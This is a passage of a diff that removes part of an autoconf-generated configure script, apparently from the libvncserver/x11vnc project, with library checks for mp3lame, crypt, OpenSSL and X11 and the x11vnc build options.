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- withval=$with_ffmpeg;
-fi
-
-
- if test ! -z "$with_ffmpeg"; then
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- WITH_FFMPEG_FALSE='#'
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- WITH_FFMPEG_TRUE='#'
- WITH_FFMPEG_FALSE=
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-
-if test ! -z "$with_ffmpeg"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for lame_init in -lmp3lame" >&5
-$as_echo_n "checking for lame_init in -lmp3lame... " >&6; }
-if ${ac_cv_lib_mp3lame_lame_init+:} false; then :
- $as_echo_n "(cached) " >&6
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- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lmp3lame $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
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-#ifdef __cplusplus
-extern "C"
-#endif
-char lame_init ();
-int
-main ()
-{
-return lame_init ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_mp3lame_lame_init=yes
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- ac_cv_lib_mp3lame_lame_init=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_mp3lame_lame_init" >&5
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- HAVE_MP3LAME="false"
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-
-fi
- if test "$HAVE_MP3LAME" = "true"; then
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- HAVE_MP3LAME_FALSE='#'
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- HAVE_MP3LAME_TRUE='#'
- HAVE_MP3LAME_FALSE=
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-
-
-# Seem to need this dummy here to induce the 'checking for egrep... grep -E', etc.
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-
-
-# set some ld -R nonsense
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- ld_minus_R="no"
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- ld_minus_R="no"
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- ld_minus_R="no"
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-
-# Check for OpenSSL
-
-
-@%:@ Check whether --with-crypt was given.
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- withval=$with_crypt;
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-
-if test "x$with_crypt" != "xno"; then
- for ac_func in crypt
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- ac_fn_c_check_func "$LINENO" "crypt" "ac_cv_func_crypt"
-if test "x$ac_cv_func_crypt" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_CRYPT 1
-_ACEOF
- HAVE_LIBC_CRYPT="true"
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-
- if test -z "$HAVE_LIBC_CRYPT"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for crypt in -lcrypt" >&5
-$as_echo_n "checking for crypt in -lcrypt... " >&6; }
-if ${ac_cv_lib_crypt_crypt+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lcrypt $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
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-#ifdef __cplusplus
-extern "C"
-#endif
-char crypt ();
-int
-main ()
-{
-return crypt ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_crypt_crypt=yes
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- ac_cv_lib_crypt_crypt=no
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-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_crypt_crypt" >&5
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- CRYPT_LIBS="-lcrypt"
- $as_echo "@%:@define HAVE_LIBCRYPT 1" >>confdefs.h
-
-fi
-
- fi
-fi
-
-
-# some OS's need both -lssl and -lcrypto on link line:
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-
-@%:@ Check whether --with-crypto was given.
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- withval=$with_crypto;
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-
-
-
-
-@%:@ Check whether --with-ssl was given.
-if test "${with_ssl+set}" = set; then :
- withval=$with_ssl;
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-
-
-if test "x$with_crypto" != "xno" -a "x$with_ssl" != "xno"; then
- if test ! -z "$with_ssl" -a "x$with_ssl" != "xyes"; then
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- CPPFLAGS="$CPPFLAGS -I$with_ssl/include"
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- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- LDFLAGS="$LDFLAGS -Xlinker -R$with_ssl/lib"
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- LDFLAGS="$LDFLAGS -R$with_ssl/lib"
- fi
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for RAND_file_name in -lcrypto" >&5
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-if ${ac_cv_lib_crypto_RAND_file_name+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lcrypto $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
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-/* Override any GCC internal prototype to avoid an error.
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-#ifdef __cplusplus
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-#endif
-char RAND_file_name ();
-int
-main ()
-{
-return RAND_file_name ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_crypto_RAND_file_name=yes
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- ac_cv_lib_crypto_RAND_file_name=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_crypto_RAND_file_name" >&5
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- $as_echo "@%:@define HAVE_LIBCRYPTO 1" >>confdefs.h
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- if test ! -z "$with_ssl" -a "x$with_ssl" != "xyes"; then
- if test "x$HAVE_LIBCRYPTO" != "xtrue"; then
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
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-
-if test "x$with_ssl" != "xno"; then
- if test "x$HAVE_LIBCRYPTO" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for SSL_library_init in -lssl" >&5
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-if ${ac_cv_lib_ssl_SSL_library_init+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lssl -lcrypto $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
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-#ifdef __cplusplus
-extern "C"
-#endif
-char SSL_library_init ();
-int
-main ()
-{
-return SSL_library_init ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ssl_SSL_library_init=yes
-else
- ac_cv_lib_ssl_SSL_library_init=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ssl_SSL_library_init" >&5
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- SSL_LIBS="-lssl -lcrypto"
- $as_echo "@%:@define HAVE_LIBSSL 1" >>confdefs.h
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-
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for SSL_library_init in -lssl" >&5
-$as_echo_n "checking for SSL_library_init in -lssl... " >&6; }
-if ${ac_cv_lib_ssl_SSL_library_init+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lssl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
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-#ifdef __cplusplus
-extern "C"
-#endif
-char SSL_library_init ();
-int
-main ()
-{
-return SSL_library_init ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ssl_SSL_library_init=yes
-else
- ac_cv_lib_ssl_SSL_library_init=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ssl_SSL_library_init" >&5
-$as_echo "$ac_cv_lib_ssl_SSL_library_init" >&6; }
-if test "x$ac_cv_lib_ssl_SSL_library_init" = xyes; then :
- SSL_LIBS="-lssl"
- $as_echo "@%:@define HAVE_LIBSSL 1" >>confdefs.h
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-
- fi
-fi
-
- if test ! -z "$SSL_LIBS"; then
- HAVE_LIBSSL_TRUE=
- HAVE_LIBSSL_FALSE='#'
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- HAVE_LIBSSL_TRUE='#'
- HAVE_LIBSSL_FALSE=
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-
-
-# Checks for X libraries
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for X" >&5
-$as_echo_n "checking for X... " >&6; }
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-
-@%:@ Check whether --with-x was given.
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- withval=$with_x;
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-
-# $have_x is `yes', `no', `disabled', or empty when we do not yet know.
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- # The user explicitly disabled X.
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- *,NONE | NONE,*) if ${ac_cv_have_x+:} false; then :
- $as_echo_n "(cached) " >&6
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- # One or both of the vars are not set, and there is no cached value.
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-rm -f -r conftest.dir
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-usrlibdir:
- @echo usrlibdir='${USRLIBDIR}'
-libdir:
- @echo libdir='${LIBDIR}'
-_ACEOF
- if (export CC; ${XMKMF-xmkmf}) >/dev/null 2>/dev/null && test -f Makefile; then
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- eval "ac_im_$ac_var=\`\${MAKE-make} $ac_var 2>/dev/null | sed -n 's/^$ac_var=//p'\`"
- done
- # Open Windows xmkmf reportedly sets LIBDIR instead of USRLIBDIR.
- for ac_extension in a so sl dylib la dll; do
- if test ! -f "$ac_im_usrlibdir/libX11.$ac_extension" &&
- test -f "$ac_im_libdir/libX11.$ac_extension"; then
- ac_im_usrlibdir=$ac_im_libdir; break
- fi
- done
- # Screen out bogus values from the imake configuration. They are
- # bogus both because they are the default anyway, and because
- # using them would break gcc on systems where it needs fixed includes.
- case $ac_im_incroot in
- /usr/include) ac_x_includes= ;;
- *) test -f "$ac_im_incroot/X11/Xos.h" && ac_x_includes=$ac_im_incroot;;
- esac
- case $ac_im_usrlibdir in
- /usr/lib | /usr/lib64 | /lib | /lib64) ;;
- *) test -d "$ac_im_usrlibdir" && ac_x_libraries=$ac_im_usrlibdir ;;
- esac
- fi
- cd ..
- rm -f -r conftest.dir
-fi
-
-# Standard set of common directories for X headers.
-# Check X11 before X11Rn because it is often a symlink to the current release.
-ac_x_header_dirs='
-/usr/X11/include
-/usr/X11R7/include
-/usr/X11R6/include
-/usr/X11R5/include
-/usr/X11R4/include
-
-/usr/include/X11
-/usr/include/X11R7
-/usr/include/X11R6
-/usr/include/X11R5
-/usr/include/X11R4
-
-/usr/local/X11/include
-/usr/local/X11R7/include
-/usr/local/X11R6/include
-/usr/local/X11R5/include
-/usr/local/X11R4/include
-
-/usr/local/include/X11
-/usr/local/include/X11R7
-/usr/local/include/X11R6
-/usr/local/include/X11R5
-/usr/local/include/X11R4
-
-/usr/X386/include
-/usr/x386/include
-/usr/XFree86/include/X11
-
-/usr/include
-/usr/local/include
-/usr/unsupported/include
-/usr/athena/include
-/usr/local/x11r5/include
-/usr/lpp/Xamples/include
-
-/usr/openwin/include
-/usr/openwin/share/include'
-
-if test "$ac_x_includes" = no; then
- # Guess where to find include files, by looking for Xlib.h.
- # First, try using that file with no special directory specified.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@include <X11/Xlib.h>
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
- # We can compile using X headers with no special include directory.
-ac_x_includes=
-else
- for ac_dir in $ac_x_header_dirs; do
- if test -r "$ac_dir/X11/Xlib.h"; then
- ac_x_includes=$ac_dir
- break
- fi
-done
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-fi # $ac_x_includes = no
-
-if test "$ac_x_libraries" = no; then
- # Check for the libraries.
- # See if we find them without any special options.
- # Don't add to $LIBS permanently.
- ac_save_LIBS=$LIBS
- LIBS="-lX11 $LIBS"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@include <X11/Xlib.h>
-int
-main ()
-{
-XrmInitialize ()
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- LIBS=$ac_save_LIBS
-# We can link X programs with no special library path.
-ac_x_libraries=
-else
- LIBS=$ac_save_LIBS
-for ac_dir in `$as_echo "$ac_x_includes $ac_x_header_dirs" | sed s/include/lib/g`
-do
- # Don't even attempt the hair of trying to link an X program!
- for ac_extension in a so sl dylib la dll; do
- if test -r "$ac_dir/libX11.$ac_extension"; then
- ac_x_libraries=$ac_dir
- break 2
- fi
- done
-done
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-fi # $ac_x_libraries = no
-
-case $ac_x_includes,$ac_x_libraries in #(
- no,* | *,no | *\'*)
- # Didn't find X, or a directory has "'" in its name.
- ac_cv_have_x="have_x=no";; #(
- *)
- # Record where we found X for the cache.
- ac_cv_have_x="have_x=yes\
- ac_x_includes='$ac_x_includes'\
- ac_x_libraries='$ac_x_libraries'"
-esac
-fi
-;; #(
- *) have_x=yes;;
- esac
- eval "$ac_cv_have_x"
-fi # $with_x != no
-
-if test "$have_x" != yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $have_x" >&5
-$as_echo "$have_x" >&6; }
- no_x=yes
-else
- # If each of the values was on the command line, it overrides each guess.
- test "x$x_includes" = xNONE && x_includes=$ac_x_includes
- test "x$x_libraries" = xNONE && x_libraries=$ac_x_libraries
- # Update the cache value to reflect the command line values.
- ac_cv_have_x="have_x=yes\
- ac_x_includes='$x_includes'\
- ac_x_libraries='$x_libraries'"
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: libraries $x_libraries, headers $x_includes" >&5
-$as_echo "libraries $x_libraries, headers $x_includes" >&6; }
-fi
-
-if test "$no_x" = yes; then
- # Not all programs may use this symbol, but it does not hurt to define it.
-
-$as_echo "@%:@define X_DISPLAY_MISSING 1" >>confdefs.h
-
- X_CFLAGS= X_PRE_LIBS= X_LIBS= X_EXTRA_LIBS=
-else
- if test -n "$x_includes"; then
- X_CFLAGS="$X_CFLAGS -I$x_includes"
- fi
-
- # It would also be nice to do this for all -L options, not just this one.
- if test -n "$x_libraries"; then
- X_LIBS="$X_LIBS -L$x_libraries"
- # For Solaris; some versions of Sun CC require a space after -R and
- # others require no space. Words are not sufficient . . . .
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -R must be followed by a space" >&5
-$as_echo_n "checking whether -R must be followed by a space... " >&6; }
- ac_xsave_LIBS=$LIBS; LIBS="$LIBS -R$x_libraries"
- ac_xsave_c_werror_flag=$ac_c_werror_flag
- ac_c_werror_flag=yes
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- X_LIBS="$X_LIBS -R$x_libraries"
-else
- LIBS="$ac_xsave_LIBS -R $x_libraries"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
- X_LIBS="$X_LIBS -R $x_libraries"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: neither works" >&5
-$as_echo "neither works" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- ac_c_werror_flag=$ac_xsave_c_werror_flag
- LIBS=$ac_xsave_LIBS
- fi
-
- # Check for system-dependent libraries X programs must link with.
- # Do this before checking for the system-independent R6 libraries
- # (-lICE), since we may need -lsocket or whatever for X linking.
-
- if test "$ISC" = yes; then
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lnsl_s -linet"
- else
- # Martyn Johnson says this is needed for Ultrix, if the X
- # libraries were built with DECnet support. And Karl Berry says
- # the Alpha needs dnet_stub (dnet does not exist).
- ac_xsave_LIBS="$LIBS"; LIBS="$LIBS $X_LIBS -lX11"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XOpenDisplay ();
-int
-main ()
-{
-return XOpenDisplay ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dnet_ntoa in -ldnet" >&5
-$as_echo_n "checking for dnet_ntoa in -ldnet... " >&6; }
-if ${ac_cv_lib_dnet_dnet_ntoa+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldnet $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dnet_ntoa ();
-int
-main ()
-{
-return dnet_ntoa ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dnet_dnet_ntoa=yes
-else
- ac_cv_lib_dnet_dnet_ntoa=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dnet_dnet_ntoa" >&5
-$as_echo "$ac_cv_lib_dnet_dnet_ntoa" >&6; }
-if test "x$ac_cv_lib_dnet_dnet_ntoa" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -ldnet"
-fi
-
- if test $ac_cv_lib_dnet_dnet_ntoa = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dnet_ntoa in -ldnet_stub" >&5
-$as_echo_n "checking for dnet_ntoa in -ldnet_stub... " >&6; }
-if ${ac_cv_lib_dnet_stub_dnet_ntoa+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldnet_stub $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dnet_ntoa ();
-int
-main ()
-{
-return dnet_ntoa ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dnet_stub_dnet_ntoa=yes
-else
- ac_cv_lib_dnet_stub_dnet_ntoa=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dnet_stub_dnet_ntoa" >&5
-$as_echo "$ac_cv_lib_dnet_stub_dnet_ntoa" >&6; }
-if test "x$ac_cv_lib_dnet_stub_dnet_ntoa" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -ldnet_stub"
-fi
-
- fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- LIBS="$ac_xsave_LIBS"
-
- # msh@cis.ufl.edu says -lnsl (and -lsocket) are needed for his 386/AT,
- # to get the SysV transport functions.
- # Chad R. Larson says the Pyramis MIS-ES running DC/OSx (SVR4)
- # needs -lnsl.
- # The nsl library prevents programs from opening the X display
- # on Irix 5.2, according to T.E. Dickey.
- # The functions gethostbyname, getservbyname, and inet_addr are
- # in -lbsd on LynxOS 3.0.1/i386, according to Lars Hecking.
- ac_fn_c_check_func "$LINENO" "gethostbyname" "ac_cv_func_gethostbyname"
-if test "x$ac_cv_func_gethostbyname" = xyes; then :
-
-fi
-
- if test $ac_cv_func_gethostbyname = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for gethostbyname in -lnsl" >&5
-$as_echo_n "checking for gethostbyname in -lnsl... " >&6; }
-if ${ac_cv_lib_nsl_gethostbyname+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lnsl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char gethostbyname ();
-int
-main ()
-{
-return gethostbyname ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_nsl_gethostbyname=yes
-else
- ac_cv_lib_nsl_gethostbyname=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_nsl_gethostbyname" >&5
-$as_echo "$ac_cv_lib_nsl_gethostbyname" >&6; }
-if test "x$ac_cv_lib_nsl_gethostbyname" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lnsl"
-fi
-
- if test $ac_cv_lib_nsl_gethostbyname = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for gethostbyname in -lbsd" >&5
-$as_echo_n "checking for gethostbyname in -lbsd... " >&6; }
-if ${ac_cv_lib_bsd_gethostbyname+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lbsd $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char gethostbyname ();
-int
-main ()
-{
-return gethostbyname ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_bsd_gethostbyname=yes
-else
- ac_cv_lib_bsd_gethostbyname=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_bsd_gethostbyname" >&5
-$as_echo "$ac_cv_lib_bsd_gethostbyname" >&6; }
-if test "x$ac_cv_lib_bsd_gethostbyname" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lbsd"
-fi
-
- fi
- fi
-
- # lieder@skyler.mavd.honeywell.com says without -lsocket,
- # socket/setsockopt and other routines are undefined under SCO ODT
- # 2.0. But -lsocket is broken on IRIX 5.2 (and is not necessary
- # on later versions), says Simon Leinen: it contains gethostby*
- # variants that don't use the name server (or something). -lsocket
- # must be given before -lnsl if both are needed. We assume that
- # if connect needs -lnsl, so does gethostbyname.
- ac_fn_c_check_func "$LINENO" "connect" "ac_cv_func_connect"
-if test "x$ac_cv_func_connect" = xyes; then :
-
-fi
-
- if test $ac_cv_func_connect = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for connect in -lsocket" >&5
-$as_echo_n "checking for connect in -lsocket... " >&6; }
-if ${ac_cv_lib_socket_connect+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsocket $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char connect ();
-int
-main ()
-{
-return connect ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_socket_connect=yes
-else
- ac_cv_lib_socket_connect=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_connect" >&5
-$as_echo "$ac_cv_lib_socket_connect" >&6; }
-if test "x$ac_cv_lib_socket_connect" = xyes; then :
- X_EXTRA_LIBS="-lsocket $X_EXTRA_LIBS"
-fi
-
- fi
-
- # Guillermo Gomez says -lposix is necessary on A/UX.
- ac_fn_c_check_func "$LINENO" "remove" "ac_cv_func_remove"
-if test "x$ac_cv_func_remove" = xyes; then :
-
-fi
-
- if test $ac_cv_func_remove = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for remove in -lposix" >&5
-$as_echo_n "checking for remove in -lposix... " >&6; }
-if ${ac_cv_lib_posix_remove+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lposix $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char remove ();
-int
-main ()
-{
-return remove ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_posix_remove=yes
-else
- ac_cv_lib_posix_remove=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_posix_remove" >&5
-$as_echo "$ac_cv_lib_posix_remove" >&6; }
-if test "x$ac_cv_lib_posix_remove" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lposix"
-fi
-
- fi
-
- # BSDI BSD/OS 2.1 needs -lipc for XOpenDisplay.
- ac_fn_c_check_func "$LINENO" "shmat" "ac_cv_func_shmat"
-if test "x$ac_cv_func_shmat" = xyes; then :
-
-fi
-
- if test $ac_cv_func_shmat = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for shmat in -lipc" >&5
-$as_echo_n "checking for shmat in -lipc... " >&6; }
-if ${ac_cv_lib_ipc_shmat+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lipc $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char shmat ();
-int
-main ()
-{
-return shmat ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ipc_shmat=yes
-else
- ac_cv_lib_ipc_shmat=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ipc_shmat" >&5
-$as_echo "$ac_cv_lib_ipc_shmat" >&6; }
-if test "x$ac_cv_lib_ipc_shmat" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lipc"
-fi
-
- fi
- fi
-
- # Check for libraries that X11R6 Xt/Xaw programs need.
- ac_save_LDFLAGS=$LDFLAGS
- test -n "$x_libraries" && LDFLAGS="$LDFLAGS -L$x_libraries"
- # SM needs ICE to (dynamically) link under SunOS 4.x (so we have to
- # check for ICE first), but we must link in the order -lSM -lICE or
- # we get undefined symbols. So assume we have SM if we have ICE.
- # These have to be linked with before -lX11, unlike the other
- # libraries we check for below, so use a different variable.
- # John Interrante, Karl Berry
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for IceConnectionNumber in -lICE" >&5
-$as_echo_n "checking for IceConnectionNumber in -lICE... " >&6; }
-if ${ac_cv_lib_ICE_IceConnectionNumber+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lICE $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char IceConnectionNumber ();
-int
-main ()
-{
-return IceConnectionNumber ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ICE_IceConnectionNumber=yes
-else
- ac_cv_lib_ICE_IceConnectionNumber=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ICE_IceConnectionNumber" >&5
-$as_echo "$ac_cv_lib_ICE_IceConnectionNumber" >&6; }
-if test "x$ac_cv_lib_ICE_IceConnectionNumber" = xyes; then :
- X_PRE_LIBS="$X_PRE_LIBS -lSM -lICE"
-fi
-
- LDFLAGS=$ac_save_LDFLAGS
-
-fi
-
-
-
-# See if we are to build x11vnc:
-
-
-@%:@ Check whether --with-system-libvncserver was given.
-if test "${with_system_libvncserver+set}" = set; then :
- withval=$with_system_libvncserver;
-fi
-
-
-@%:@ Check whether --with-x11vnc was given.
-if test "${with_x11vnc+set}" = set; then :
- withval=$with_x11vnc;
-fi
-
-
